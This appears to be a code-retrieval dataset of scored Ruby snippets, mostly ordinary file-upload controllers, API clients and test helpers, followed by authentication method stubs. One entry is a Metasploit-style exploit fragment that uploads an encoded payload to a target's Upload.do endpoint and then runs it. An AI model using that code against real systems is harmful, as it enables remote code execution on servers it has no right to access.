"text": "def upload(params)\n self.class.post('/files.upload', body: params.merge({token: @token})).tap do |response|\n raise \"error uploading file: #{response.fetch('error', 'unknown error')}\" unless response['ok']\n end\n end",
"title": ""
},
{
"docid": "afb37f8d77db8118bb84532f6bd8166c",
"score": "0.5788582",
"text": "def upload_file(folder_id, file_url) \n\tputs \"Uploading file: \" + file_url + \" to folder: \" + folder_id\n\tfile = {\n\t\t:url => file_url, \n\t\t:name => \"Ruby_File.pdf\", \n\t\t:notes => \"This was uploaded using Ruby\", \n\t\t:copies => 1, \n\t\t:folderId => folder_id,\n\t\t# :flow => \"Flow ezName\" # The flow value is either the easy submit name of the flow or the _id property from get_flows()\n\t}\n\tdata = JSON.generate(file)\n\tresponse = request_post('/api/partner/file', data)\n\tputs response.body\nend",
"title": ""
},
{
"docid": "b72739dbc5f27b3a05d0ced0ef868081",
"score": "0.5786628",
"text": "def upload_file\n file = google_session.upload_from_file(file_params[:file].tempfile,\n file_params[:file].original_filename)\n collection.add(file)\n google_session.root_collection.remove(file)\n render json: 'Upload Successful'\n end",
"title": ""
},
{
"docid": "3f3a46f3aea4ffd5c29b2af1714bfaa9",
"score": "0.5785948",
"text": "def create\n @uploaded_file = UploadedFile.new(file_name: params[:uploaded_file][:file_name].original_filename)\n respond_to do |format|\n if @uploaded_file.save\n load_imported_items\n format.html { redirect_to root_path, notice: 'Uploaded file was successfully created.' }\n format.json { render :show, status: :created, location: @uploaded_file }\n else\n format.html { render :new }\n format.json { render json: @uploaded_file.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "6196247f6beda03904e7ac63ac573939",
"score": "0.57811356",
"text": "def uploaded_file\n initalize_breadcrumb(\"Uploaded File(s)\", uploadedfile_datauploaders_path)\n currentUser = current_user.id\n @uploadedFiles = UserFileMapping.where(:user_id =>currentUser )\n respond_with(@uploadedFiles)\n end",
"title": ""
},
{
"docid": "d889753971a3e3f2b4dc290d4fbd04a2",
"score": "0.5779361",
"text": "def upload\n @db=Database.find(params[:id])\n @files = params[:files]\n @files.each do |file|\n name = file.original_filename\n directory = @db.path\n path = File.join(directory, name)\n File.open(path, \"wb\") { |f| f.write(file.read) }\n end\n flash[:notice] = \"File uploaded\"\n respond_to do |format|\n format.html {redirect_to files_database_url(@db)}\n format.json { render json: @files }\n end\n end",
"title": ""
},
{
"docid": "6e45b2c7d224ada94a53c663511e6557",
"score": "0.5757865",
"text": "def perform_study_file_upload(filename, study_file_params, study_id)\n file_upload = Rack::Test::UploadedFile.new(Rails.root.join('test', 'test_data', filename))\n study_file_params[:study_file].merge!(upload: file_upload)\n patch \"/single_cell/studies/#{study_id}/upload\", params: study_file_params, headers: {'Content-Type' => 'multipart/form-data'}\nend",
"title": ""
},
{
"docid": "9bb1f06a691a25d30907eb0629482b3f",
"score": "0.5749232",
"text": "def multipart; end",
"title": ""
},
{
"docid": "52bfaf27319d1d647490b862389b7693",
"score": "0.5744697",
"text": "def perform_multipart_upload\n s3o = S3Object.find_by(uri: @params[:s3_object_uri]) || S3Object.new\n s3o.uri = @params[:s3_object_uri]\n s3o.file = @params[:file]\n s3o.bucket = handle_bucket\n s3o.key = @params[:key]\n s3o.content_type = @params[:file].content_type\n s3o.size = File.size(s3o.file.path)\n s3o.md5 = Digest::MD5.file(s3o.file.path).hexdigest\n s3o.save!\n\n [:created, :xml, XmlAdapter.uploaded_object(\"#{@request.host}:#{@request.port}\", s3o)]\n end",
"title": ""
},
{
"docid": "d6b0a886aa145b565c62d653f4678980",
"score": "0.57302374",
"text": "def upload\n uploaded_io = params[:address][:file]\n File.open(Rails.root.join('public', 'uploads', uploaded_io.original_filename), 'wb') do |file|\n file.write(uploaded_io.read)\n end\nend",
"title": ""
},
{
"docid": "1abf2bb19ebce531cece75234a7108a8",
"score": "0.57235765",
"text": "def upload_file(item_file)\n upload_response = @server.upload(item_file.file(item_file.metadata_full_path))\n json = JSON.parse(upload_response.body)\n json['files'].map { |f| f['id'] }\n end",
"title": ""
},
{
"docid": "9387f6ea0b69d7c33946027ea95a2219",
"score": "0.57166314",
"text": "def postIngest_file( job_id, filedata)\n params = Hash.new\n params['job_id'] = job_id\n params['filedata'] = filedata\n return doCurl(\"post\",\"/ingest_file\",params)\n end",
"title": ""
},
{
"docid": "c654a60fdb5acf3c9bbee685f2200475",
"score": "0.570019",
"text": "def create\n @upload_file = UploadFile.new(params[:upload_file])\n\n respond_to do |format|\n if @upload_file.save\n format.html { redirect_to(@upload_file, :notice => 'Upload file was successfully created.') }\n format.xml { render :xml => @upload_file, :status => :created, :location => @upload_file }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @upload_file.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "9d6f46823a55f02bc64aa74ca25398b6",
"score": "0.569898",
"text": "def upload(id, path)\n path = Pathname.new(path) unless path.kind_of? Pathname\n\n mime = MIME::Types.type_for(path.to_s)[0] || MIME::Types[\"application/octet-stream\"][0]\n uri = endPoint(\"/#{id}\")\n request = Net::HTTP::Post.new(uri)\n ret = nil\n\n path.open do |io|\n request.body_stream = io\n set_def_headers(request)\n request.content_length = path.size\n request.content_type = mime.simplified\n ret = workit(request)\n end\n ret\n end",
"title": ""
},
{
"docid": "59400145939e83d9f2050f7aea9e7886",
"score": "0.56958383",
"text": "def post_file(filename,repo)\n curl_post(\"#{self.host}/api2/repos/#{repo}/file/?p=#{filename}\",{\"operation\"=> \"create\"}).body_str\n end",
"title": ""
},
{
"docid": "b79d8df975f0e0052a70a7c34f52d705",
"score": "0.5683766",
"text": "def xml_upload(content, credentials)\n upload('xml', content, credentials)\n end",
"title": ""
},
{
"docid": "684adf5e5b11324b5f81884e6b8d4bbe",
"score": "0.5678849",
"text": "def my_file_upload(filename)\n ActionDispatch::Http::UploadedFile.new({\n filename: filename,\n content_type: 'application/octet-stream',\n tempfile: File.new(\"#{Rails.root}/test/fixtures/#{filename}\")\n })\n end",
"title": ""
},
{
"docid": "10ffa53b92c881108d1a4226c863c1a9",
"score": "0.56720734",
"text": "def set_uploaded_file\n @uploaded_file = UploadedFile.find(params[:id])\n end",
"title": ""
},
{
"docid": "660d905fa6cec34ed9bb37138ce3267a",
"score": "0.5669732",
"text": "def _upload(api_key, file) \n url = Client.site + \"/upload.json\"\n params = { \"api_key\" => api_key, \"api_method\" => \"ruby\", \"id\" => id.to_s, \"file\" => file }\n resp = HTTPClient.post url, params \n JSON.parse(resp.content)\n end",
"title": ""
},
{
"docid": "201386d11b99a0fa057155cc4e2e3aaf",
"score": "0.5665817",
"text": "def uploaded_file_params\n params.require(:uploaded_file).permit(:file)\n end",
"title": ""
},
{
"docid": "a429e92a9d51417e4744b122ff7bfa47",
"score": "0.5656472",
"text": "def add_uploaded_file(shf_app)\n shf_app.uploaded_files << create(:uploaded_file, actual_file: File.open(UPLOAD_PNG_FILE))\n end",
"title": ""
},
{
"docid": "0a4ba3b413fd65c469c1036dc3a0115a",
"score": "0.5640255",
"text": "def parse_upload\n expected_params[:upload] ||= ParameterDeclaration.new(:upload, :upload, {})\n params[:upload]\n end",
"title": ""
},
{
"docid": "ca35d43f753da0e4e7142e969092ee93",
"score": "0.5631414",
"text": "def processFiles\n readRemoteXML\n parsePhotoRequestReponseXMl2\n handle_files\n zip_files\n end",
"title": ""
},
{
"docid": "75975dbc44071941f4efd93dd9531bef",
"score": "0.56273484",
"text": "def upload(file)\n Item.create(:upload, :file => file)\n end",
"title": ""
},
{
"docid": "23c9f93672cd82266b7d97f0e7ad6f30",
"score": "0.5626399",
"text": "def new\n return error_status(true, :cannot_create_uploaded_file) unless (UploadedFile.can_be_created_by(@logged_user, @page))\n \n @uploaded_file = @page.uploaded_files.build\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @uploaded_file }\n end\n end",
"title": ""
},
{
"docid": "b2f10aa215ef976c1dae2f285df62c1a",
"score": "0.561913",
"text": "def upload_referenced_images(directory,filename,locale)\n version = Settings[:CURRENT_VERSION]\n begin\n doc_path = \"#{directory}/#{filename}\"\n relative_directory = File.dirname(doc_path) \n content_doc = Nokogiri::XML(open(doc_path)){|config| config.noent }\n content_doc.remove_namespaces!\n # Find each img element\n content_doc.xpath('//img').each do |img|\n # Steps for uploading content\n # 1. Create a hash of the file\n # 2. Get a unique path.\n # 3. Get the filename of the referenced document for the\n # attachment name\n # 4. Check to see if that document exists, if it does, compare\n # the hashes and only upload if it has changed.\n\n # If the image starts with a / assume the file will be in the public directory\n unless (img['src'].start_with?('/'))\n mime_type = get_mime_type(img['src'][/(?:.*)(\\..*$)/, 1])\n\n # Get the directory from the filename\n dir_match_re = /(.*)\\//\n file_dir = dir_match_re.match(filename)[1]\n\n # Fix relative paths here\n path_from_source = (Pathname.new img['src'])\n image_path = (Pathname.new(\"#{file_dir}/#{img['src']}\")).cleanpath.to_s\n id = \"#{Settings[:APP_NAME]}.#{image_path}.#{locale}.#{version}\"\n \n full_image_path = (Pathname.new(\"#{directory}/#{image_path}\")).cleanpath.to_s\n\n # Get the hash of the file on the filesystem\n np = Digest::MD5.file(full_image_path)\n attachment_hash = \"md5-#{Base64.encode64(np.digest)}\".strip\n \n # Look at the attachments on the document in the database\n # If there is an existing attachment with the same name, check the hash value.\n # If it's the same, don't upload it.\n # If it's different, upload it.\n\n #doc fields to create, if needed\n newDoc = {\n '_id' => id,\n :name => image_path,\n :locale => locale,\n :version => version,\n :updated => Time.now.to_date.iso8601,\n :content_hash => attachment_hash }\n \n #doc fields to update, if needed\n updatedDoc = {\n :updated => Time.now.to_date.iso8601,\n :content_hash => attachment_hash }\n \n #upsert the document\n upsert_doc(@db, newDoc, updatedDoc, :content_hash, @log)\n \n doc = @db.get(id)\n doc_attachments = JSON.parse(doc.to_json)[\"_attachments\"]\n\n # If there are no attachments, then doc_attachments will be Nil\n if (doc_attachments.is_a? Hash)\n # If there is already an attachment with the same name, check the hash.\n # If the hash is different, update it.\n unless (doc_attachments.has_key?(image_path) && doc_attachments[image_path][\"digest\"].eql?(attachment_hash))\n begin\n @db.put_attachment(doc, image_path, open(full_image_path, &:read), :content_type => mime_type)\n rescue RestClient::Conflict\n @log.warn \"Hit a conflict. Deleting the attachment and trying again.\"\n begin\n @db.delete_attachment(doc,image_path,true)\n begin\n # Have to get the document again, since the _rev has changed\n doc = @db.get(id)\n @db.put_attachment(doc, image_path, open(full_image_path, &:read), :content_type => mime_type)\n rescue => e\n @log.error\"The attachment was deleted, but could not be re-added.\"\n @log.error e.class\n @log.error e.message\n end\n rescue => e\n @log.warn \"Something went wrong when deleting the attachment. Unknown state.\"\n @log.error e.class\n @log.error e.message\n end\n rescue => e\n @log.error \"Something went wrong when adding an attachment - #{img['src']} on #{doc_path}\"\n @log.error e.message\n @log.error e.class\n end\n end\n else\n # There are no attachments on this document. Add this one.\n @db.put_attachment(doc, image_path, open(full_image_path, &:read), :content_type => mime_type)\n end\n end\n end\n rescue => e\n# @log.error \"Something went wrong when adding an attachment - #{img['src']} on #{doc_path}\"\n @log.error e.message\n @log.error e.class\n end\n end",
"title": ""
},
{
"docid": "2920da4f6d9223d1890f309513624dd0",
"score": "0.5615156",
"text": "def add_file(filename)\n step('I visit the new file page')\n fill_in(\"file_label\", with: filename)\n attach_file('file_file', filename)\n fill_in('file_description', with: sample_file_description(filename))\n click_link_or_button('Upload File')\n wait_for_ajax_complete\nend",
"title": ""
},
{
"docid": "5a22380c6c9620232743314b810bf618",
"score": "0.56085604",
"text": "def upload(*files)\n ogfiles = files\n files = files.flatten\n raise OwO::Err::NoContent, 'There is a empty string in your arguments!' if files.include? ''\n raise OwO::Err::NoContent, 'Theres no files provided!' if files.empty?\n files = files.map do |x|\n return x if x.respond_to? :read\n begin\n File.new(File.absolute_path(x), 'rb')\n rescue Errno::ENOENT, Errno::EACCES, Errno::ENAMETOOLONG => e\n errstring = 'Unknown'\n case e.class.name\n when 'Errno::ENOENT'\n errstring = 'File Not Found'\n when 'Errno::EACCES'\n errstring = 'Permission Denied'\n when 'Errno::ENAMETOOLONG'\n errstring = 'Name Too Long'\n end\n raise OwO::Err::FileError, \"Error initializing file '${x}' | #{errstring} | #{e.class.name}\"\n end\n end\n result = OwO::API.upload(opts, files)['files'].map { |x| \"https://#{@url}/#{x['url']}\" }\n result[0] if ogfiles.length == 1 || !ogfiles.first.is_a?(Array)\n end",
"title": ""
},
{
"docid": "abdec54403e6071959daa196bb91b3eb",
"score": "0.56070834",
"text": "def create\n RawFile.transaction do\n @raw_file = RawFile.new(params[:raw_file])\n\n @raw_file.uploaded_file = params[:raw_file][:file]\n\n @raw_file.status = 'SENT'\n\n respond_to do |format|\n if @raw_file.save\n format.html { redirect_to @raw_file, :notice => 'File was successfully created.' }\n format.json { render :json => @raw_file, :status => :created, :location => @raw_file }\n else\n format.html { render \"new\", :locals => { :raw_file => @raw_file } }\n format.json { render :json => @raw_file.errors, :status => :unprocessable_entity }\n end\n end\n end\n end",
"title": ""
},
{
"docid": "1e7590da28ea9426a0588f5a1fdf544f",
"score": "0.55994546",
"text": "def upload\n doc = DocumentService::Document.create!({\n original_filename: params[\"original_filename\"],\n content_type: params[\"file\"].content_type,\n document: params['file'].tempfile,\n public: true\n })\n render json: {id: doc.id}, status: :created\n end",
"title": ""
},
{
"docid": "30986b8d3cda14ace70a1831ad085ca3",
"score": "0.5597251",
"text": "def upload\n uploaded_io = params[:file]\n File.open(Rails.root.join('public', 'uploads', uploaded_io.original_filename), 'wb') do |file|\n file.write(uploaded_io.original_filename) \n end\n end",
"title": ""
},
{
"docid": "dbc099a1f425c0fd153604ad8ab878a5",
"score": "0.55866396",
"text": "def postToolsUpload( filedata)\n params = Hash.new\n params['filedata'] = filedata\n return doCurl(\"post\",\"/tools/upload\",params)\n end",
"title": ""
},
{
"docid": "5649f656f92cf9665d24a316f4e71ca3",
"score": "0.5585913",
"text": "def create_file_to_upload\n file_path = $redis.get(\"tempfile_path_#{self.id}\")\n tempfile = File.open(file_path,'r')\n\n file = ActionDispatch::Http::UploadedFile.new({\n :tempfile => File.new(tempfile)\n })\n file.original_filename = File.basename(file_path).split(\"_\", 2).last\n file.content_type = \"application/#{File.basename(file_path).split('.').last}\" \n file\n end",
"title": ""
},
{
"docid": "a6584237a7275990c76a8c67c39ef1b6",
"score": "0.55826133",
"text": "def file_answer(file_name)\n frm.file_field(:name=>/deliverFileUpload/).set(File.expand_path(File.dirname(__FILE__)) + \"/../../data/sakai-cle-test-api/\" + file_name)\n frm.button(:value=>\"Upload\").click\n end",
"title": ""
},
{
"docid": "6ab91d14c3a93406106dd9a5741aa68c",
"score": "0.558061",
"text": "def post_job_content_sample(client)\n job_multipart = {\n :file => File.new($full_path),\n 'num copies' => 10\n }\n\n response = client['jobs'].post job_multipart\n\n p ''\n p 'Submit a new job'\n p response\nend",
"title": ""
},
{
"docid": "bc59eaae94cdd65698334c6edbbfd60d",
"score": "0.5577718",
"text": "def upload_file_params\n puts params\n params\n end",
"title": ""
},
{
"docid": "90fffe31200aa4895ac718ce08337f89",
"score": "0.5572232",
"text": "def uploadFile(fileName)\n\n puts \"Uploading '#{fileName}' to TestFlight ... \"\n\n currentTime = Time.new\n \n payload = {\n :api_token => API_TOKEN,\n :team_token => TEAM_TOKEN,\n :file => File.new(fileName.to_s, 'rb'),\n :notes => NOTES + \" (\"+currentTime.inspect+\")\",\n :distribution_lists => DIST_LIST,\n :notify => NOTIFY\n }\n \n begin\n response = RestClient.post(END_POINT, payload, :accept => :json)\n rescue => e\n response = e.response\n end\n \n if (response.code == 201) || (response.code == 200)\n puts \"Upload complete.\"\n else\n puts \"Upload failed. (#{response})\"\n end\n \nend",
"title": ""
},
{
"docid": "3be61da3a079c99b15dd046a06680c94",
"score": "0.5567862",
"text": "def upload_params\nparams[:upload].permit(:uploaded_file)\nend",
"title": ""
},
{
"docid": "1dd131e3098ecdc28c41b9e7012bb762",
"score": "0.5566815",
"text": "def upload(http_post_url, remote_folder, local_file)\n $log.info \"curl -F file=@#{local_file} -F directory=#{remote_folder} #{http_post_url}\"\n return system(\"curl -F file=@#{local_file} -F directory=#{remote_folder} #{http_post_url}\")\nend",
"title": ""
},
{
"docid": "7b887ab59a6002634975abe7176689df",
"score": "0.5553644",
"text": "def uploaded_file_params\n params.require(:uploaded_file).permit(:file_name)\n end",
"title": ""
},
{
"docid": "016a1ca43a73ec56ca1942c9c3f7b79f",
"score": "0.5553505",
"text": "def upload_file(project_id, req_params)\n params = { query: [project_id, :upload], req: req_params }\n\n response = endpoint(name: 'Files', params: params).do_post\n\n process_id = response.content.dig('process', 'process_id')\n\n response.patch_endpoint_with endpoint(name: 'QueuedProcesses', params: { query: [project_id, process_id] })\n\n resource 'QueuedProcess', response\n end",
"title": ""
},
{
"docid": "9a3acb81e43cf035841772dd873ddfed",
"score": "0.55519086",
"text": "def upload\n document = params[:document]\n service_request_id = params[:service_request_id]\n organization_id = params[:organization_id]\n document_type = params[:document_type]\n\n # let's see how many existing docs we have before we upload\n document_count_before_upload = Alfresco::Document.number_of_documents_for(service_request_id)\n\n ticket = Document.ticket(Alfresco::Document::ALFRESCO_USER, Alfresco::Document::ALFRESCO_PASSWORD)\n\n builder = Nokogiri::XML::Builder.new(:encoding => 'UTF-8') do |xml|\n xml.entry(:xmlns => \"http://www.w3.org/2005/Atom\",\n \"xmlns:cmisra\" => \"http://docs.oasis-open.org/ns/cmis/restatom/200908/\",\n \"xmlns:cmis\" => \"http://docs.oasis-open.org/ns/cmis/core/200908/\") {\n xml.title document.original_filename\n xml.summary document_type\n xml.content(:type => document.content_type) {\n xml.text Base64.encode64(document.read)\n }\n }\n end\n\n if !Document.service_request_folder_exists? service_request_id\n Document.create_service_request_folder service_request_id\n end\n\n sub_folders = Document.find_sub_folders_for_service_request service_request_id\n unless sub_folders.include? organization_id\n Document.create_service_request_organization_folder(service_request_id, organization_id)\n end\n\n url = Document::PATH + \"cmis/p/User%20Homes/service_requests/#{service_request_id}/#{organization_id}/children?alf_ticket=\" + ticket\n\n count = 0\n begin\n count = count + 1\n RestClient.post url, builder.to_xml, {:content_type => 'application/atom+xml;type=entry'}\n rescue => e\n Rails.logger.info \"#\"*50\n Rails.logger.info \"Error creating file\"\n Rails.logger.info e.message\n Rails.logger.info \"#\"*50\n end\n\n new_document_count = count + document_count_before_upload\n document_count_after_upload = Alfresco::Document.number_of_documents_for(service_request_id)\n\n while(document_count_after_upload != new_document_count) do\n sleep(0.5)\n document_count_after_upload = Alfresco::Document.number_of_documents_for(service_request_id)\n end\n\n redirect_to :controller => 'related_service_requests', :action => 'show', :anchor => 'documents', :service_request_id => params[:friendly_id], :id => params[:ssr_id]\n end",
"title": ""
},
{
"docid": "dab7e9a1c52f350bcecab604021b6e2a",
"score": "0.5546121",
"text": "def simple_file_upload simple_file_upload_file\n absolut_path_file = Dir.pwd.gsub(/\\.tests/, 'tests/files') + '/' + simple_file_upload_file\n\n self.simple_file = absolut_path_file\n end",
"title": ""
},
{
"docid": "016e6fe274a81c2dd9378e07a0ec1cb8",
"score": "0.55439544",
"text": "def create\n @archivo = Archivo.new(archivo_params)\n\n @archivo.uploaded_file = params[:archivo][:uploaded_file]\n @archivo.save\n \n redirect_to '/archivos'\n end",
"title": ""
},
{
"docid": "fde25bcc88454fdc66e09b1a031e0316",
"score": "0.55349845",
"text": "def convert()\n @helper.post(@fields, @files, @raw_data)\n end",
"title": ""
},
{
"docid": "3000242621d3831d47c0ddf42880146e",
"score": "0.5529833",
"text": "def test_upload_file\n remote_file_name = 'TestUploadFile.docx'\n\n request_file_content = File.open(File.join(local_test_folder, local_file))\n request = UploadFileRequest.new(file_content: request_file_content, path: remote_data_folder + '/' + remote_file_name)\n\n result = @words_api.upload_file(request)\n assert_equal false, result.nil?\n end",
"title": ""
},
{
"docid": "427a193d2b1b2b2e29f6e963b4712a24",
"score": "0.55183583",
"text": "def create_upload_files(record)\n return unless record.mapper.respond_to?(:files)\n files_to_attach = record.mapper.files\n return [] if files_to_attach.nil? || files_to_attach.empty?\n\n uploaded_file_ids = []\n files_to_attach.each do |filename|\n file = File.open(find_file_path(filename))\n uploaded_file = Hyrax::UploadedFile.create(user: depositor, file: file)\n uploaded_file_ids << uploaded_file.id\n file.close\n end\n uploaded_file_ids\n end",
"title": ""
},
{
"docid": "3a72974009a88bd49a72a48e5bed5371",
"score": "0.55134714",
"text": "def file_upload(criteria = T.unsafe(nil)); end",
"title": ""
},
{
"docid": "3c46ad454a98ffd31c539cf8597a92c0",
"score": "0.5512456",
"text": "def create\n @treq = Treq.new(params[:treq])\n \n respond_to do |format|\n if @treq.save\n unless params[:treq_files].blank?\n params[:treq_files]['file'].each do |a|\n @treq_file = @treq.treq_files.create!(:file => a, :treq_id => @treq.id)\n end\n end\n TreqNotifier.submit_treq(@treq).deliver\n format.html { redirect_to @treq, notice: 'Treq was successfully created.' }\n format.json { render json: @treq, status: :created, location: @treq }\n else\n format.html { render action: \"new\", alert: \"Test Requset has been submitted.\"}\n format.json { render json: @treq.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "6beecc9a19a0861c9efb9237a797a233",
"score": "0.5512413",
"text": "def index\n @uploaded_files = UploadedFile.all\n end",
"title": ""
},
{
"docid": "88cb014e5656fcce368ef29d1947431d",
"score": "0.5507469",
"text": "def file_upload(*paths); net_scp_transfer!(:upload, false, *paths); end",
"title": ""
},
{
"docid": "891de7ca27bf5d5a1456179e90350cfc",
"score": "0.549382",
"text": "def upload\n files_saved = 0\n # Build product images from upload\n\t\tparams[:file].each do |i|\n if i[:file_data] && !i[:file_data].blank?\n new_file = UserUpload.init(i[:file_data])\n if new_file.save\n files_saved += 1\n end\n end\n end\n \n flash[:notice] = \"#{files_saved} file(s) uploaded.\"\n \n if params[:modal]\n redirect_to :action => 'image_library' and return\n else\n redirect_to :action => 'index' and return\n end\n end",
"title": ""
},
{
"docid": "bf9293f12bf6d33ef9fdb77e43215d74",
"score": "0.54901534",
"text": "def file_up(platform, dir)\r\n # specifying an extension by platform\r\n if platform == Msf::Module::Platform::Windows\r\n filex = \".bat\"\r\n else\r\n if payload.encoded =~ /sh/\r\n filex = \".sh\"\r\n elsif payload.encoded =~ /perl/\r\n filex = \".pl\"\r\n elsif payload.encoded =~ /python/\r\n filex = \".py\"\r\n elsif payload.encoded =~ /ruby/\r\n filex = \".rb\"\r\n else\r\n fail_with(Failure::Unknown, 'Payload type could not be checked!')\r\n end\r\n end\r\n \r\n @fname= rand_text_alpha(9 + rand(3)) + filex\r\n data = Rex::MIME::Message.new\r\n data.add_part('./', nil, nil, 'form-data; name=\"uploadDir\"')\r\n data.add_part(payload.encoded, 'application/octet-stream', nil, \"form-data; name=\\\"theFile\\\"; filename=\\\"#{@fname}\\\"\")\r\n \r\n res = send_request_cgi({\r\n 'method' => 'POST', \r\n 'data' => data.to_s,\r\n 'agent' => 'Mozilla',\r\n 'ctype' => \"multipart/form-data; boundary=#{data.bound}\",\r\n 'cookie' => @cookie,\r\n 'uri' => normalize_uri(target_uri, \"Upload.do\") \r\n })\r\n \r\n if res && res.code == 200 && res.body.include?('icon_message_success') # Success icon control\r\n print_good(\"#{@fname} malicious file has been uploaded.\")\r\n create_exec_prog(dir, @fname) # Great. Let's send them somewhere else o_O\r\n else\r\n fail_with(Failure::Unknown, 'The file could not be uploaded!')\r\n end\r\n end",
"title": ""
},
{
"docid": "5bda752a6372f45cdc79f9803babdb06",
"score": "0.548514",
"text": "def file_upload(file)\n file[\"//\"] = \"/\"\n file = ENV['RED5_HOME'] + \"/webapps/encrev1/#{file}\"\n request_url = \"#{@url}/file/demo\"\n request_url += \"?uid=#{@conf.uid}&sid=#{@conf.sid}\"\n $log.info \"Request filename : #{request_url}\"\n response = RestClient.put request_url, \"\"\n $log.info \"--> Got reponse : #{response}\"\n file_name = JSON.parse(response.to_str)['result']\n if file_name\n $log.info \"--> Got filename : #{file_name}\"\n request_url = \"#{@url}/file/demo/\"\n request_url += file_name\n request_url += \"?uid=#{@conf.uid}&sid=#{@conf.sid}\"\n $log.info \"Upload (#{file}) to Encre : #{request_url}\"\n response = RestClient.put request_url, File.read(file), :content_type => 'application/x-shockwave-flash'\n $log.info \"Delete #{file} ...\"\n file = File.delete(file)\n else\n file_name = nil\n end\n rescue\n file_name = nil\n $log.info \"... failed ! (check exception below)\"\n $log.info $!\n end",
"title": ""
},
{
"docid": "de3badd7b1509823dea6baefe978f9d2",
"score": "0.5478534",
"text": "def uploaded_file_params\n params.require(:uploaded_file).permit(:file, :hosted_file_url)\n end",
"title": ""
},
{
"docid": "0c7e35373399f92cd333ace990a42b35",
"score": "0.54762936",
"text": "def create\n request.env.each {|key, value| pp \"key:#{key} --------- value:#{value}\" }\n pp \"----#{request.env}----\"\n debugger\n puts params[:upload]\n @file_upload = FileUpload.new(params[:file_upload])\n debugger\n @file_upload.name = params[:url]\n @file_upload.name = FileUpload.get_name(params[:upload])\n @file_upload.file_type = FileUpload.get_type(params[:upload])\n upload = FileUpload.file_upload(params[:upload])\n respond_to do |format|\n if @file_upload.save && upload\n format.html { redirect_to(@file_upload, :notice => 'FileUpload was successfully created.') }\n format.xml { render :xml => @file_upload, :status => :created, :location => @file_upload }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @file_upload.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "682dd7baf41da8d32b0d6f7b15d5be65",
"score": "0.54753816",
"text": "def test_save_photos \n# album = StudentPhotoAlbum.find_by_guid(313764409611785162)\n# me = Student.find(1)\n# album.save_photos({:upload_files=>{:f1=>uploaded_file('c:/temp/3.zip','image/png')}},me)\n @request.session['student'] = 1 \n post :add_more_files_to_album, :id=>'313764409611785162',:upload_files=>{:f1=>uploaded_file('c:/temp/313.zip')}\n end",
"title": ""
}
] |
767e796dbd59640e1337d94439bc3319
|
shamelessly riped from authlogic
|
[
{
"docid": "63b8b2bc6754d4f6f44b6ab2aaa17423",
"score": "0.0",
"text": "def db_setup?\n begin\n column_names\n true\n rescue Exception\n false\n end\n end",
"title": ""
}
] |
[
{
"docid": "04e65379635e1f61d3b229b5726ee84f",
"score": "0.72828954",
"text": "def auth; end",
"title": ""
},
{
"docid": "40b17ba3964f4ba4f442bae38facb4df",
"score": "0.71158993",
"text": "def auth; {}; end",
"title": ""
},
{
"docid": "6abf0f78c22a87a9aec78ac6b0ddcf5f",
"score": "0.6939061",
"text": "def auth_get; raise NotImplementedError; end",
"title": ""
},
{
"docid": "e1ea122c267aa4fcd551c9d9d37f5622",
"score": "0.6890778",
"text": "def auth_type; end",
"title": ""
},
{
"docid": "989bf074e827af4f9d941d16abb182ff",
"score": "0.68208885",
"text": "def authenticate; end",
"title": ""
},
{
"docid": "fa6526d3fd557f8a24ba2a64757d065e",
"score": "0.68176526",
"text": "def auth\n end",
"title": ""
},
{
"docid": "7084fe77c7c433c1759507f1cdb9dda8",
"score": "0.67068607",
"text": "def preauthenticate; end",
"title": ""
},
{
"docid": "cbbbaf55c0d577d42d53e39ce9fa49e0",
"score": "0.6593069",
"text": "def authorization; end",
"title": ""
},
{
"docid": "76cfdfbd82be7cd755024427db001e91",
"score": "0.65752065",
"text": "def process_auth(str); end",
"title": ""
},
{
"docid": "1bc2c1673d47e276341d11e46adb033b",
"score": "0.6571502",
"text": "def invoke_auth; end",
"title": ""
},
{
"docid": "e2f81e330801929fd07b36716ea83474",
"score": "0.65231895",
"text": "def two_factor_auth\n end",
"title": ""
},
{
"docid": "ab563c5af952204588ca540353536b98",
"score": "0.64902896",
"text": "def basic_authenticated?; end",
"title": ""
},
{
"docid": "090f8aeefc03990ee7a067c230c12a5d",
"score": "0.63871557",
"text": "def security; end",
"title": ""
},
{
"docid": "10d8448e7e187686b24c8149e322a5a9",
"score": "0.6368543",
"text": "def authenticate_user; end",
"title": ""
},
{
"docid": "6e0e86b844153988d67e1a3143722676",
"score": "0.6337058",
"text": "def auth\n \n end",
"title": ""
},
{
"docid": "3e782f7e074feb3e076904c9f83e0694",
"score": "0.633225",
"text": "def user_authenticated?; end",
"title": ""
},
{
"docid": "9766388d296f081bdc5359fd62eb68fe",
"score": "0.6322405",
"text": "def owner_login; end",
"title": ""
},
{
"docid": "0434a09494de6f3fc1887081409aaadf",
"score": "0.63135415",
"text": "def authenticate\n end",
"title": ""
},
{
"docid": "0434a09494de6f3fc1887081409aaadf",
"score": "0.63135415",
"text": "def authenticate\n end",
"title": ""
},
{
"docid": "0434a09494de6f3fc1887081409aaadf",
"score": "0.63135415",
"text": "def authenticate\n end",
"title": ""
},
{
"docid": "67a1b793342cb8f95de51b39c61f3117",
"score": "0.6296951",
"text": "def login=(_); end",
"title": ""
},
{
"docid": "6cfd2d5aa566b03e5897730ec5ea743b",
"score": "0.629549",
"text": "def unauthenticated; end",
"title": ""
},
{
"docid": "28673e16076ba6b2d8a4c98077be3af8",
"score": "0.6234839",
"text": "def auth_link\n end",
"title": ""
},
{
"docid": "481c05890d317d94f98c34c068a32dd4",
"score": "0.6234784",
"text": "def using_login?; end",
"title": ""
},
{
"docid": "f42e89f92dc57908d912b66ba010f542",
"score": "0.62347364",
"text": "def mock_auth; end",
"title": ""
},
{
"docid": "f128b60ffefd4e9d9b455bb5685c1711",
"score": "0.6205361",
"text": "def auth_policies; end",
"title": ""
},
{
"docid": "ad979d4d0077ef39cbd844eb25d6636c",
"score": "0.61816514",
"text": "def nist_auth_level; end",
"title": ""
},
{
"docid": "75f2d1f8259b0fab724b7f5bbe899a49",
"score": "0.6178143",
"text": "def login ; end",
"title": ""
},
{
"docid": "096656013ed38b7b1dbeeac711e44c18",
"score": "0.6161082",
"text": "def login; end",
"title": ""
},
{
